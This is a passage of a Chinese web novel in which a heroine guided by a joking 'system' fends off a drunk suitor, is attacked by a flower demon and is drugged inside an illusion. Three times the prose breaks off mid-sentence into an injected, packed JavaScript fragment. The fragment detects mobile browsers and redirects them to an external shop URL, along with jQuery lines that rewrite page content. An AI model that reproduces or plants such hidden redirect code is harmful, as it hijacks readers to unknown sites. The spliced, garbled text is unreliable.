【“听到她颤抖的声线,封瑾遥才想起只有一颗解药。少女搭住封瑾遥的肩膀,把头埋在男人的颈窝里,大口大口地喘息着。少女的清甜气息一缕一缕打在他衣襟上,也逐渐乱了他的心……”】 柳知微无语:“……”一股子盗版味。 系统十分贴心地附上了出处: 【——改编自《姐夫与小姨子的意乱情迷二三事(绝版)》】系统捂脸【嘻嘻~(老脸一红)】 柳知微无语片刻…… 顿了顿,她问道,“花妖?这怎么和原著有出入?” 芝麻适时解释:[当今小世界是一个活体哦,宿主大大要学会应对各种突发情况哦。] 柳知微:[哦?你信不信再酱纸说话额就打洗你哦。] “清圆姑娘?” 一道黏糊糊的声音传来,尾音拖得老长,像在蜜糖里滚过一遍才捞出来。 柳知微抬头一看,封瑾遥总算来了。 [这位封小公子又称炮灰哥,京城有名的花花公子,爱好采花、养鱼。不过此刻他喝得烂醉,眼神涣散,显然把眼前人认错了。] 炮灰哥封瑾遥摇摇晃晃地朝她走来,醉得几乎站不稳,却还要维持那副自诩风流的神态。他眯着眼打量柳知微,露出一个自以为深情的笑容。 “清圆……清圆姑娘!嗝……在下终于找到你了!” 柳知微:? 她还没来得及反应,封瑾遥已经一把抓住旁边的栏杆稳住自己,然后开始了他慷慨激昂的“表白”。 “清圆姑娘你知不知道,在下一见到你,就觉得……嗝……觉得你与众不同!柳家大小姐,果真是天仙下凡,冰清玉洁,不食人间烟火,在下连多看一眼都觉得亵渎!” 他越说越激动,手指在空中胡乱比划着,完全没注意到面前这位“清圆姑娘”的表情逐渐微妙。 “那个柳知微端得是个温柔贤淑、知书达理,其实见到我就往前扑,谈及美貌又何及你半分!”封瑾遥一脸真诚,“清圆姑娘跟那个柳知微简直一个天上一个地下!” 柳知微嘴角抽了抽。 封瑾遥浑然不觉,继续他的高谈阔论:“那个柳知微,你是不知道,整天刁蛮任性,好像谁欠她八百两银子似的!脾气又臭,说话又冲,一点女儿家的柔美都没有!哪像清圆姑娘你,笑一下都能让花儿都开了!” 他顿了顿,又补了一句,醉眼朦胧中满是嫌弃:“啧啧,同样是柳家的女儿,怎么差距就这么大呢?清圆姑娘你是明珠,那个柳知微……顶多算个鱼眼睛!” 柳知微面无表情地听着别人当面骂自己,然后夸自己是另一个人。 行吧。 封瑾遥见“清圆姑娘”不说话,以为她害羞了,往前凑了一步,压低声音,语气暧昧:“古语有云:''有一美人兮,见之不忘。见之不忘兮,似乎如狂。''清圆姑娘,在下对你的心意,天地可鉴啊!” 柳知微强迫症发作,当即纠正道:“……是''思之如狂'',不是''似乎如狂''。” 封瑾遥一愣,随即猛地一拍手,差点把自己拍摔倒:“对对对!思之如狂!清圆姑娘果然才学过人,不像那个柳知微,怕是连这几个字都认不全!” 柳知微:…… 她深吸一口气,脸上挂起一个标准的假笑。 封瑾遥又凑近了些,醉醺醺地胡乱又说了些什么,他越说越离谱,咸猪手慢慢伸出来,想要去抓“清圆姑娘”的手。 “清圆姑娘,在下身子有些不舒服……嗝……你扶扶在下可好?” 柳知微灵活地往旁边一闪,避开了他的手,自己稳稳站定。 “封公子,”她保持微笑,“你认错人了。” 封瑾遥摆摆手,一脸“我懂你”的表情:“清圆姑娘你又谦虚了!在下知道,你就是因为谦逊,所以方才不理在下的诗文。在下懂,在下都懂!” 他向前踉跄了一步:“像清圆姑娘这样才貌双全又不张扬的女子,才是真绝色!不像那个柳知微,有点姿色就尾巴翘上天,以为自己多厉害似的……嗝……” 柳知微看着眼前这个醉鬼,脸上假笑都快挂不住了。 来之前,柳知微就摸清了这处剧情的破绽。无非是柳清圆“撞见”她与封瑾遥拉扯,待他清醒后当众将她踹下荷花池,从此坐实她善妒刁蛮的恶名。 那这一次……若是她欲拒还迎,反将封瑾遥踹下去呢? 她乐意成全这对有情人。只不知这桩“好姻缘”,他们接不接得住。 呵。 【!!!】系统突然响起危险预警。 柳知微身边不知怎么突然起一层青雾。她敏锐地察觉到这雾气不太对劲,正想屏住呼吸,却已经吸入了几口。 炮灰哥的眼神更加迷离了,嘴里还在念叨:“清圆……清圆姑娘……你身上好香……嗝……在下……在下……” 眼前这少女有一双晶亮的眸子,明净清澈。那种夹杂在灵动笑颜里的漠然,仿佛一条潺潺流动的小溪,某一瞬水流撞击河里的小石子,银波溅起,雾敛溪清,如鸣珮环。 比起高山上的兰草,遥遥天山傲立的雪莲,更加夺人心魄。 封瑾遥喉结滚动,眼神黏腻:“清圆姑娘……在下……在下真的……”他伸出那双咸猪手就要往她身上抓。 柳知微站在原地没动,对着封瑾遥露出一个狡黠的笑容:“封公子,我们来玩个游戏好不好?” 炮灰哥迷迷糊糊地问:“什么……游戏?” 周遭的空气仿佛骤然冻结,连那青烟都停滞了。柳知微静静地立在池边,素白的罗裙无风自动。夕阳的余晖映在她侧脸上,那双弯弯的杏眼底尽是墨沉。 她轻笑一声,朱唇轻启,字字清晰:“掀、桌、一、式,开!” 炮灰哥:? 柳知微笑道:“创飞他。”然后她利落地扯开那香囊,将那些合情香粉末全都撒在了封瑾遥脸上。 芝麻:【包的包的宿主!使用500积分兑换雷符一张!使用道具:“五雷轰顶”!】 于是一瞬间,忽然一阵大风刮来,万里晴空的好天气眨眼不见,顿时乌云罩顶,原本旖旎的气氛陡然压抑沉闷。 怀有某种不详的预感,炮灰哥停止了咳嗽。 然后天空一声巨响,几道惊雷破空而出,封瑾遥头上顿时五雷轰顶,劈得那叫一个外焦里嫩,不知道是不是柳知微眼花,似乎还能看见他那骨头叉子一闪一闪的。 几道超绝雷响之后,炮灰哥几乎是“咻”地一下飞到空中,接着姿态优雅地落入水池,炸起滔天水幕。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17576299|205015||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >然而离炮灰哥只有咫尺之距的柳知微却是毫发无损,尽管她方圆几里地都毁成焦土了。 池畔,柳知微抱臂观望,唇边止不住地笑,鬓边的棠梨翠羽流苏摆自在摇曳着,衬有无边春色。 她幸灾乐祸道:“大兄弟跳水不错。” 爽哉爽哉。柳知微要像螃蟹一样横着走了,不过可惜地是,待会儿为了剧情还要耗费积分让封瑾遥恢复过来。 “系统,记得给他留口气儿,到时候他可还要和我的好姐姐大、婚、呢。” 但是剧情并没有终结,因为柳知微识海中仍没有传来“叮——”的系统提示音。 她意识到身边的青雾并没有消散,而是越来越浓了。而地下突然迅速钻出几条藤蔓,缠上了柳知微的腰肢,将她紧紧禁锢在怀里,使她动弹不得。 那东西仿佛是个人形,指尖轻轻点着柳知微眉间的那颗红痣。它无一点眼白,眼珠如亮丽的黑玉,断不是个活物。 它躲在后边,柳知微看不见它的模样却也知晓这不会是个人。 一股香气四散开来,她被禁锢在那不知是人是鬼的东西怀里,不得动弹。 花香入怀,柳知微强迫自己镇定下来,心中不免疑窦丛生。 “现在拟合的小世界……是一个活体。”她想起系统的话,心脏骤然紧缩。 这第四世,是不是糅合了前面三世的背景,多条平行线相交,最终汇成一点……这一世她死了的话,是不是就不会再有重开的机会了? 察觉到她汹涌的情绪,芝麻忍不住开口安慰:[宿主大大,节哀顺变……啊呸呸呸呸!宿主大大,坚持就是胜利,千万不要放弃啊!宿主勇敢飞,芝麻永相随!干它丫的!] 静默半晌,柳知微郑重开口:[芝麻……] [呜呜呜宿主我在,宿主我在……你千万不要……] 柳知微:[芝麻你听着,现在我万念俱灰,即将不久于人世了,临行前,我还有一个遗愿,你能答应我吗?] 芝麻要哭出来了:[宿主我绝对答应你!申请开通SSS级救援!呼叫乐迪呼叫乐迪!宿主你一定要坚持,你……] 话到一半,柳知微无情打断:[丧葬费能不能提前预支一下,没苦硬吃的时代已经过了,姑奶奶现在要没福硬享。] 芝麻:? 柳知微:[或者挖掘隐藏剧情能申请福利待遇吗?可以涨补贴吗?这样或许我还可以考虑挣扎一下。] [或者直接领退休金也是可以的。] 芝麻:[…………] 芝麻:[我*****求****你*****别******走********] 柳知微揣着明白装糊涂:[好深情的告白呢。] 那花妖口中赞道:“……好看的,好看。”说罢,便替她簪上了花。 花蕊里掉下一只蚂蚁,在柳知微的脸上爬。 柳知微:“淦。” 它的手缠作藤蔓,一点点绕到柳知微身上,那藤蔓延伸到她的脖颈上,反复摸索着,慢慢收紧。 那藤蔓爬上了她的脸颊,枝桠长进肉里,萌生出新的叶子。柳知微数着,一息,两息,三息…… “救援呢?!” 忽一道金光闪过,直刺那妖物面门而来。同时一点翠绿随风扬起,柳知微福至心灵一般,迷迷糊糊地咬住了它,嚼碎,吞咽。 柳知微的身体已到了极限,被风带了一下就要跌倒在地,却落入一个坚实的怀抱里。 11. 怜卿吻合是深情 青衣女子一笑,碧裳曳地,周遭喧嚣霎时褪去,这满园子,唯有她配得一抹山河青岚。 “山色横侵蘸晕霞,湘川风静吐寒花。”柳知微心中立地想起这句诗。 春光正好,池水里水波潋滟,升起氤氲的丝丝水汽。在这样的天里,万物浴着朝雾,伴有那不得解的花毒,她的眼蒙上一层纱似的,前面的人影倒映下来,迷迷离离,恍恍惚惚。 抱着她的女子更紧地揽住她的腰肢,眉宇间尽是担忧:“二妹妹?感觉可有异样?” 柳知微不明不白地点点头,又稀里糊涂地摇摇头。 “是眼睛。”柳知微揉着一只眼,声音软绵。好假的,她自己都没眼看。 但是柳清圆近前来了。时间突然变得好慢,好慢。她有些昏了。 【……眉目含情,娇喘微微,花前月下,拿捏住他……】那恼人的文本内容依旧在她心里嗡嗡作响,搅得她神识涣散。眼前的青衣美人蹙着眉,唇色如樱,气息带着清冷的香,比园中任何花毒都更令人晕眩。 理智的弦“啪”地断了。 她迷迷糊糊地重复道:“花前月下……拿捏住她?” 于是,被那香气与温暖蛊惑着,她遵循了自己的本能,仰起脸凑上去,在那片柔月般的脸颊上,轻轻印了一下。 “美人小脸白又软,犹似云间柔月团,软软糯糯甜心底,桂花馅里裹蜜梨。”她喝醉了似的喃喃低语几句,然后彻底昏了过去。 花妖,性善。三月梨花开,当作迎春使。 它们的毒,不如说是一种祝福。织一场旖旎斑斓的梦,让人得偿所愿,只是梦醒之后,终究会留下几分怅然。 “瑛瑛,怎么留我一个人?”清朗的声音响起,空茫朦胧,听不真切。回声延伸到山的那边,似乎是不久之前,又恍若隔世。 是谁说的呢? 她忘记了。 柳清圆半跪在地,感受着脸上转瞬即逝的温软触感,竟罕见地怔了一瞬。她垂眸看着怀中少女泛红的脸颊,眼底神色莫测,最终只是抬手,用指腹极轻地蹭了一下自己被亲过的地方。 是喝醉了吗?还是她低估了那小妖?为何柳莺娘会这般…… 柳知微搂着她脖子的手一松,柳清圆暂时得到了自由。她活动一下身躯,妖物的模样清晰可见。 树皮一样的脸,全黑的瞳孔,只有一双手如少女娇嫩,树桩做成的躯干,伸出五个分叉把四肢和脑袋串到一起,跟木头娃娃似的,十分瘆人。 柳清圆:“……”长得好丑。 不知道吃了它会不会拉肚子。 “看来没有留你的必要。” 这法子她许久不用过了,原是她从花仙子那里学来的小把戏。如今却成了她用来斩妖的法子,不晓得花仙子知道了,会作何感想。 吸收,复刻。 她以己身为容器,接纳一切苦煞,亦可为己所用。可是这副人类的身体,能承受得住这力量吗? 她不知道,唯有放手一搏。 柳清圆感到有一阵力量蓬勃而出,挤压她的内脏。随着吞食妖力,她身上长出藤蔓,开始疯狂撕扯那妖物的躯体,几乎要把它撕成碎片。 它好像没有痛觉,不哭不叫,只一个劲后退着,延缓受到的攻击,迅速长出新的藤蔓。 她向它伸出食指,剩下的一点妖力全部凝聚在指尖,准备给它致命一击。 一道少年的嗓音却从旁斜插进来。 “毓娘娘……您是毓娘娘的传人?” 柳清圆抱着柳知微的手颤了一下。她温婉的眉目间悄然渗入一丝杀意,那张被柔婉神色遮掩的脸上,属于柳知微初见她时的锋利英气,正一点点刺破伪装,重新显露出来。 “请您不要生气,我姐姐她执念太深,因您妹妹阴气过重,便诱发了杀意,现下我已暂且压制住了她。” “求您放过我姐姐好吗?” 柳清圆的指甲却一点点变得锋利,指尖凝聚起一点危险的幽光,抵上这花妖的眉心。 “你凭什么觉得,伤了我妹妹,又知晓我的身份之后,你们还能活着离开?” 那花妖抬起眼,全黑的瞳孔里映出柳清圆的脸,“您妹妹一事……这位姐姐实在本领不小。小妖愿代她承担罪责,助您掩盖她所行之事。” 柳清圆想起那道突如其来的晴天霹雳,终究还是默许了。 花妖拖着那副残破的身躯,一步一踉跄地跳进池子里,捞起了那堪称“焦炭”似的炮灰哥。 焦炭封瑾遥吐血:“……” 你们煽情够了吗?我感觉我还能抢救一下。 它将那具焦黑的尸体拖上岸,随手折下一段花枝,凌空轻划。指尖流转间,一道泛着微光的符印浮现,清辉摇曳,仿佛笔下生莲。 焦臭的尸体忽然被流光笼罩,待光点散去,竟已恢复如初,肌肤完好,气息平稳,仿佛从未经历过那场惨烈的雷击。 “这还不够。”柳清圆神色未动,“知晓我身份者,死罪难免。” 花妖依旧以那副少年青涩的嗓音,恭敬回道:“若小妖……知晓毓娘娘遗骨下落呢?以此换我姐姐的一个往生,可否?” 柳清圆的指尖微微一蜷。 “……您可在小妖身上下死咒,”花妖伏低身子,“自此,小妖只为您所驱使。” “待您履约后,您自可心想事成。” 风穿过林叶,四周静得只余枝叶摩挲的碎响。柳清圆眸中幽光浮动,良久,她开口应道。 “可。” 话音刚落,那木叉子做的身体突然僵住,化作一个不会动弹的粉色兔子玩偶,眼中的灵光彻底熄灭。 柳清圆这才转向躺在地上的封瑾遥。她眼眸深处逐渐泛起蓝紫色的微光,俯身,指尖轻点其眉心,语调低缓而蛊惑人心。 “你看见沈府上出现了可怕的花妖,害怕得慌不择路,掉进了池里。冷水一激,便神志不清,心智不全……往后,你只会记得这些。” 她的指尖离开他眉心的刹那,一缕金粉色光尘,自他墨绿的衣襟悄然飘散,没入泥土。 “这是你应得的,”她轻声说,宛若赐福,“吾给予你的恩赐。” 封瑾遥静静躺在缤纷花丛中,衣角被风轻轻掀起。他倏地睁开双眼,眼中是一片空洞的迷惘,如梦中呓语般反复喃喃。 “花妖……吃人的花妖……救救我……救……” 柳清圆满意地勾起唇角,那笑容里却带着居高临下的悲悯。 “乖,你做得很好。” …… 柳知微走后,桌上单留下来的鸟,啄啄笼子的门,立马现出一个洞。它趁着众人迷醉,悄悄走出笼子,伸展双翅,欲高飞向天。 羽毛舒展开来,流光百溢。它仰天一声长啸,眼看就要回归自由,忽一只手抓住了它。 差一点就要越狱成功的鸟发出最后一声抵抗:“叽叽!!!——” 一道黑影下压,少年阴恻恻地盯着它道:“一百两,可算找着你了,你要去哪里啊?” 鸟差点被沈流商掐断了气。 少年把鸟强塞回笼子里,随手往桌下一搁,他左右张望了一圈,见四下无人,便闪身拐进后院花影深处。 他低声嗤笑,从袖中摸出一只空的小锦囊,小心翼翼地将那香囊里的粉末分出一些来,重新封好塞回怀里。剩下的原物他照原样系回腰间,动作行云流水。 沈流商留了后手,将柳知微托他带的东西留了一份到自己手里,看柳知微宝贝的那样子,此物绝非凡品。 “待我拿去验上一验 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17576300|205015||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,若真是好东西……”他嘿嘿一笑,将那装着粉末的小锦囊凑到鼻尖,狠狠猛吸了一口,“那我可就……” 话音未落,一股奇异的热意猛地从胸腔炸开,像一把火,顺着血脉烧遍四肢百骸。他的脸腾地红了,连耳尖都染上了绯色,呼吸骤然变得又急又烫。 “这、这是……”沈流商瞳孔微震,手指一抖,锦囊险些脱手。那股热意非但没有消退,反而愈演愈烈,像有什么东西在体内横冲直撞,搅得他心跳如擂鼓,视线也开始模糊。 他咬着牙想将锦囊扔掉,却怎么也无法动作,竟有些舍不得。那香气钻进鼻腔,带着一种说不清道不明的蛊惑,让他整个人都软了半边。 就在此时,身后传来极轻的脚步声。 “谁?!” 沈流商猛地转身,脚下一个踉跄,扶住了旁边的树干。花影深处,一个人影不知何时已立在月光下。那人一袭蓝衣,眉目疏朗,神情却有些呆怔,仿佛梦游至此,目光直直落在他手中的锦囊上。 沈流商警惕地后退,声音却比自己预想的要软得多,“你是谁?怎么进来的?” 那少年并未回答,只是凑近了他的脸,然后微微偏头,鼻翼轻轻翕动,像是在嗅着什么。他的鼻尖落在沈流商的唇上,又滑到颈侧,激起沈流商一阵反胃。 “妖气。”他的声音很是清润,“在你身上。” 他说着,往前迈了一步。 沈流商本能地后退,背脊撞上了粗糙的树干,退无可退。那少年却步步逼近,直到两人之间只剩下不到一拳的距离。他能闻到这人身上淡淡的松木香,与那合情香的甜腻交织在一起,酿出一种令人晕眩的气息。 “你、你别过来……”沈流商抬手想推开他,手掌刚触上对方的胸口,却像被烫到一般缩了回去。那触感隔着衣料传来,竟让他心头一颤,那股热意越发难以遏制。 少年的目光落在他缩回去的手上,歪了歪头,似乎不太理解他的抗拒。他伸出手,指腹轻轻贴上沈流商滚烫的脸颊,像在触碰什么新奇的东西。 “你的脸好红。”他的语气平淡,指尖却沿着沈流商的下颌线缓缓下滑,最终落在微微滚动的喉结上,“这里……也在动。” 沈流商呼吸一沉。 那根手指明明只是轻轻贴着,却像点了一把火,烧得他浑身发软。他想躲,身体却不听使唤,甚至……甚至隐隐想往那凉意上靠。 “你知不知道你在做什么……”沈流商的声音已经哑得不成样子,喉结在那指尖下又滚动了一下。 少年抬起那双澄澈却空洞的眼睛,认真地看着他:“那只妖快要把你吃了。”他的指尖从喉结滑到锁骨,又往下停在心口,“它在这里。” 沈流商浑身一颤,猛地抓住那只作乱的手,却只能虚虚握着,连推开的力道都使不出。 他看着眼前这张近在咫尺的脸,忽然觉得那双眼睛莫名熟悉。那眉眼的弧度,那微微上挑的眼尾,像是在哪里见过,在梦里,在很久很久以前的某个地方。 “你……”他喃喃开口,气息全洒在对方的唇边,“我是不是……见过你?” 少年眨了眨眼,认真地想了一会儿,然后摇摇头:“不知道。” 话音未落,他停在沈流商胸口的那只手猛地一沉…… “扑哧——” 手掌径直穿透心口,刺穿了心脏。 沈流商闭上眼,睫毛颤了颤,攥着对方手腕的手终于彻底失了力气,顺着少年的手臂缓缓滑落。 谢济泫的神情依旧呆滞,毫无生气。他抽出手,任由那具身躯倒下,随即用沾血的手指并拢,抵上自己的眉心。 “妖已经死了。” 花影摇曳,春光洒落,两个人的影子在地上交叠在一起,分不清谁是谁的。 12. 大姐姐是女流氓 黑暗,无边的黑暗。 柳知微感觉自己像被卷入了一场永无止境的梦境。意识浮浮沉沉间,她似乎听到有人在识海里焦急地呼唤但那声音越来越远,最终被某种粘稠的黑暗吞噬。 似乎是不久之前,亦或是恍若隔世,沉眠中,一个少女的身影摇曳在她的记忆里。她好像溺陷深海,看见泡沫一点点升起,在光明下破裂,而她则往反方向渐坠沉渊。 “瑛瑛。”清朗的声音空茫朦胧,遥不可及。 “瑛瑛,你想去人间吗?” 大水将她包裹,和人世隔着万水千山。狂风怒号,千层浪起,波涛拍击海岸,吼声响彻天地。 【凝神,】系统的声音陡然严厉,如雷声乍起,破开千层浪。 【此刻,想着你最想见之人!】 “欲见之人?欲取我性命者倒有不少。”脑海中却不由自主地浮现出一个身影。 思其容貌。 忆其声息。 于心尖细细描画她模样。 【瑛瑛。】 一个声音直接响彻她脑海,平静无澜。 柳知微骤睁双目,眼底掠过惊疑之色。这声…… 眼前蓦地铺开一片暧昧旖旎之色。 她因何在此? 身侧,是晦暗不明的目光。 是柳清圆? 女扮男装的柳清圆拈起折扇,偏首挑眉视她:“瑛瑛可好奇这戏台中藏何玄机?……” 不,不太相像。 这个……更像人些? 柳知微不由自主垂眸望向楼下。 戏台上,水袖再抛,金线牡丹花影掠过,刹那花飞满天,可再定睛一瞧,花影消散,只剩台上那旦角回眸一笑,眼尾描红胭脂晕开,如一滴血泪,缓缓坠落。 台下掌声雷动,无人察觉异样。 戏子优雅退场,一红衣女子拽着红绸自空中翩然坠下,台前金帘摇曳。 女子掀帘而出,竟着一身素衣白裙,玉容似春雪冻梅,染就朝霞。耳边浅红流苏摇曳,血色欲滴。 夜色渐沉,明月楼外灯火如昼。 一进大堂,喧嚣扑面而来。 丝竹声、笑闹声、觥筹交错声甩作一团。脂粉香混着酒气,熏得人头晕。 台上伶人甩袖回眸,眼尾胭脂晕开如血,而台下看客痴迷仰首,脸上春色荡漾。 戏台下,众人□□的模样让人胆战心惊。 而她旁边一个面若桃李的女子正俯身为她斟酒,时不时送个媚眼,阿谀逢迎。雪白皓腕上……缠着一根几不可见的金线。 “这……溺人的温柔乡?” 柳知微眉头一跳。 她仔细观察柳清圆近处的几位女子,手腕处似乎都连了金线一般,动作也僵硬着,说来说去都是那几句重复的勾引的话。 跟皮影戏一样。没有灵魂。 系统小声提醒她:【叮!——恭喜开启隐藏剧情“镜花水月”!女主与您一起陷入了花妖幻境,请携手攻克难关,杀死花妖方青箬!】 【副本开启:一对姐弟自小孤煞之命,为仙门收留,姐姐惨死化妖,弟弟为爱堕魔,宗门遭殃为魔族所灭……】 系统音消失后,柳知微随意瞥向眼前人。她不确定这幻境里的柳清圆有没有属于原身的记忆。 柳清圆端持茶盏,指节轻敲青瓷,好似早知这折子后续如何。 “各位客官久候,今朝正是我楼中三位女儿出阁之期。” “珍珍,爱爱,莲莲!”女子笑得花枝乱颤,击掌之间,台上蓦地出现三位美人,皆覆轻纱。 她抬手忽化出三朵牡丹。 “老规矩,每年三月初朔月夜,谁若摘得此花魁首,便可获我楼中女儿青睐。三甲者可与此三位佳人春风一度。” 女子与帘后三位美人身影渐隐,整座戏台骤升空中楼阁,万千牡丹高空盛放,一瞬放出无数美人飞天幻影,女子窈窕身段暴露无遗。 众人沉溺其中,如痴如狂。天上如蜂飞动的女子幻影亦是□□。 柳知微平静垂首饮了一口茶。 她口中自动吐出一句:“等候多时,这出唱的是……配天婚。” “你要自号为''知微''?”柳清圆眼尾微挑,眸光流转间似有潋滟水色,唇角噙着一丝捉摸不定的笑,“你为何总爱取这些刁钻古怪的名号?” 柳知微松口气,这幻境里的人果真是借了柳清圆的脸,真正的女主虽然人设有些崩坏,但是也只会些低段位的哭唧唧戏码,不会像是眼前一样的这人这么……古怪。 “柳清圆”执扇的手略略一抬,扇缘轻抵下颌,偏头看来时,那姿态慵懒又狡黠,真真如一只修成了精的狐狸。 “莫非我特意邀你来此,”她声音压低几分,带着若有似无的蛊惑,“就只让你见得这……所谓‘配天婚’的荒唐门道?” 随茶汤滑入喉间,身旁人似无意以扇轻拂她面颊,传来一阵酥麻。 温润茶汤裹一丝甜腻香气,如毒蛇信子,倏地钻入肺腑。柳知微瞳孔一缩,茶盏“咔”地一下磕落案几。 柳知微再难从容。 ……是茶有问题? 一股燥热自腹下窜起,瞬间烧透四肢百骸。她猛攥衣袖,却压不住皮肤下沸腾的热意。 柳知微自忖面色必是难看至极。 傻白甜小师妹是吧,她直接一秒入戏:“师姐……不是为试炼而来?……” 有柳清圆这尊煞神在侧,那些美人面只敢远处飘荡,不敢近二人之身。 还能是谁做的手脚?不言而喻。 “柳、清、圆——”柳知微切齿,不受控制地吐出这个名字,抬目瞪向对面那人。 “师姐竟是早对我不满已久?可是如今我们更应同仇敌忾,斩除妖孽才是,不然你我都难逃一劫。” 折扇“唰”地展开,掩去柳清圆那皮囊上含笑的唇。她只露一双狐狸似的眼,眼尾微挑,眸光潋滟如春水。 “瑛瑛,你敬我一声师姐,那便要相信,师姐可未曾做过什么。” 柳知微:“……” 信你才有鬼!!! 柳知微眼前已开始晕眩。柳清圆身影裂作三四重,每一重皆挂那副令人牙痒的笑。她狠狠自掐大腿,想要保持清醒…… “花妖之毒,分二种。“柳清圆以口衔扇,忽然倾身近来,折扇挑起她下颌。温热呼吸拂过耳畔,激起一阵战栗。 “一曰‘痴妄’,引人沉湎幻梦,便是台前那帮蠢人丑态;二曰‘缠情’嘛……”扇骨缓缓下滑,抵住她剧烈起伏的胸口,“便是瑛瑛此刻情状了。” 柳知微猛拍开折扇:“你故意的!”声却软得不像话。 她一直知道柳清圆惯会扮成一副绿茶模样,若非那张脸蛋实在无可挑剔,那套惺惺作态怕早就惹人生厌。 可不知是不是受幻境影响,眼下见幻境中的她这般坦坦荡荡做个“女流氓”,反倒叫人有些怀念起从前那低眉顺眼、示弱讨巧的模样了。 “极度的欲与怨,不尽的爱与恨,皆乃我这''镜花水月''的绝佳养料。” 柳清圆忽以扇骨轻敲盏沿,青瓷发出清越颤音。茶汤涟漪中,她眼底浮起琉璃光泽:“三声磬响毒入髓,瑛瑛可听见了?” 恰逢戏台传来第三声云锣,余韵在柳知微神髓荡出灼痛。 柳清圆凑近柳知微耳畔,低笑:“瑛瑛啊,你中招了。” 柳知微晃首,眼前仍是重重柳清圆的影子分身。 此幻境又是何解?误触何机关竟做此荒唐春梦??? 柳知微死死咬唇,恨不能食柳清圆之肉。 少女自颧骨至眼尾洇开薄红,连鼻尖皆染绯色。她原本就瘦弱,一层嫣红点缀于苍白瘦弱的面颊,衬得她如将败的桃花。 柳清圆眸色一暗。 柳清圆低眸视少女,眼中意味不明。她挑声道:“瑛瑛若开口求我,师姐亦绝不会袖手旁观、见死不救。” 稍顿,她眉眼一弯,语气松快几分:“瑛瑛别怕。这妖物三日前就叫我逮住了,如今不过……是想送你一件礼物罢了。” “这些时日不枉我费尽心机设此‘镜花水月’,欲讨某人欢心呢。然有些人呐,偏不领情,真真令人伤心。” 柳知微眉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17576301|205015||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头一皱。 系统只说这世界崩了,可没提在幻境下,女主会连性取向都崩了个彻底。 古早虐文……怎么一转眼就要往百合路上奔? 这……不能吧? 柳知微:“……要有所表示?” 柳清圆不语,只静静垂眸看她。 灼热吐息交缠间,柳知微的身体失控般猛然发力,将人狠狠抵在柱上,咬了她颈项一口。 柳清圆一怔,旋即低笑。 她没有推开柳知微。片刻,她轻轻抬手拭去柳知微唇边血迹。 于柳清圆沉默数息内,柳知微只觉十年岁月恍然而逝。 “啧,凶得很。” 她神色未变,抬手抚上柳知微后颈,在对方僵滞的瞬间,低头凑近耳语:“早这般坦诚多好?” “早已撑不住了吧?不喂药还强撑……你怎受得?” 她神智几被烧融,甚至看着柳清圆竟觉得有几分姿色…… 柳知微甚感不妙地感到自己即刻便要失去理智。 柳清圆唇角微挑,如雾里悬月,不明不晦。偏是此般神情,却撩得人心头一紧,似羽拂心尖,爱恋百转。 被烧糊涂的柳知微马上便要晕厥。 她模糊听见柳清圆之声。 她说:“你想见我的……只有这个法子方可温养你的神魂。” 那般温柔语气,岂是柳清圆所能? “随我来。” 柳知微眼前一黑,似大梦初醒。似有情风万里卷潮来,无情送潮归。 她模糊感到对方将她打横抱起,直直地往楼上一间厢房而去。 柳知微被安置在床榻之上,浑身滚烫,眼前阵阵发黑。 柳清圆俯身,她的气息近在咫尺,手指冰凉地贴在她的颈侧,像一条蛇缓缓缠绕。 不行……再这样下去,她真会被柳清圆牵着鼻子走,不过一个幻象罢了! 她咬紧牙关,舌尖的血腥味勉强维持着最后一丝清醒。她猛地攥住柳清圆的手腕,声音嘶哑:“你……到底想要什么?“ “当然是共度良宵啊。”柳清圆低低地笑着,“这不是瑛瑛所期盼的吗?” “是我……我想要的吗?”柳知微的眼神逐渐变得迷离起来,手下的力度缓缓放轻。 柳清圆满意地笑起来,忽的动作一顿。 “砰!——” 镜面碎裂的瞬间,整个房间骤然扭曲,仿佛被撕开的画卷,空气中弥漫的甜腻香气瞬间消散大半。柳知微闷哼一声,体内翻腾的燥热终于减轻几分。 柳知微挥出一道灵气击碎了那面镜子。 柳清圆眼神一沉。 柳知微扶着墙缓缓站直,尽管呼吸仍不稳,但眼神已恢复清明:“幻术……靠的是镜中倒影。” 她冷笑道:“你困不住我。” 柳知微此刻发自内心地感谢她10086世的实习期,不然她节操都要不保了。 第一次接拉啦剧本,有点不太习惯。 “柳清圆”眯起眼,忽然笑了。 “有意思。” 她慢条斯理地整理袖口:“看来瑛瑛比我想的……更难对付。“ 话音未落,整座宅院突然剧烈震颤。地砖缝隙里钻出无数猩红藤蔓,廊下灯笼倏然熄灭,唯有槐木镜蓝光大盛。镜面如同水波荡漾,渐渐浮现出一张女子的面孔——柳叶眉,樱桃唇,眉间生着妖异的青色花钿。 “柳清圆”的身影一下子消失不见。 